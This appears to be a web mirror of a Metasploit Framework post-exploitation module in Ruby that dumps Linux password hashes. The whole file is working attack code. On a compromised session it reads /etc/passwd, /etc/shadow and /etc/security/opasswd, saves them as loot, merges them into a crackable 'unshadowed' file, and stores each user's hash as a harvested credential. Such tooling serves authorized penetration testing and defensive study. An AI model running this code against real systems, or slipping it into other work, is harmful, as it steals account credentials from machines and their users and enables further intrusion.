Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/hashdump.rb
31430 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',
15
'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},
16
'License' => MSF_LICENSE,
17
'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],
18
'Platform' => ['linux'],
19
'SessionTypes' => ['shell', 'meterpreter'],
20
'Notes' => {
21
'Stability' => [CRASH_SAFE],
22
'SideEffects' => [],
23
'Reliability' => []
24
},
25
'References' => [
26
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
27
]
28
)
29
)
30
end
31
32
# Run Method for when run command is issued
33
def run
34
unless readable?('/etc/shadow')
35
fail_with Failure::NoAccess, 'Shadow file must be readable in order to dump hashes'
36
end
37
38
passwd_file = read_file('/etc/passwd')
39
unless passwd_file.nil?
40
p = store_loot('linux.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Linux Passwd File')
41
vprint_good("passwd saved in: #{p}")
42
end
43
44
shadow_file = read_file('/etc/shadow')
45
unless shadow_file.nil?
46
p = store_loot('linux.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Linux Password Shadow File')
47
vprint_good("Shadow saved in: #{p}")
48
end
49
50
opasswd_file = read_file('/etc/security/opasswd')
51
unless opasswd_file.nil?
52
p = store_loot('linux.passwd.history', 'text/plain', session, opasswd_file, 'opasswd.tx', 'Linux Passwd History File')
53
vprint_good("opasswd saved in: #{p}")
54
end
55
56
# Unshadow the files
57
john_file = unshadow(passwd_file.to_s, shadow_file.to_s)
58
return if john_file == ''
59
60
john_file.each_line do |l|
61
hash_parts = l.split(':')
62
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
63
64
if jtr_format.empty? # overide the default
65
jtr_format = 'des,bsdi,crypt'
66
end
67
68
credential_data = {
69
jtr_format: jtr_format,
70
origin_type: :session,
71
post_reference_name: refname,
72
private_type: :nonreplayable_hash,
73
private_data: hash_parts[1],
74
session_id: session_db_id,
75
username: hash_parts[0],
76
workspace_id: myworkspace_id
77
}
78
create_credential(credential_data)
79
print_good(l.chomp)
80
end
81
82
# Save passwd file
83
upasswd = store_loot('linux.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Linux Unshadowed Password File')
84
print_good("Unshadowed Password File: #{upasswd}")
85
end
86
87
def unshadow(pf, sf)
88
unshadowed = ''
89
sf.each_line do |sl|
90
pass = sl.scan(/^\w*:([^:]*)/).join
91
92
next if pass == '*'
93
next if pass == '!'
94
95
user = sl.scan(/(^\w*):/).join
96
pf.each_line do |pl|
97
next unless pl.match(/^#{user}:/)
98
99
unshadowed << pl.gsub(/:x:/, ":#{pass}:")
100
end
101
end
102
103
unshadowed
104
end
105
end
106
107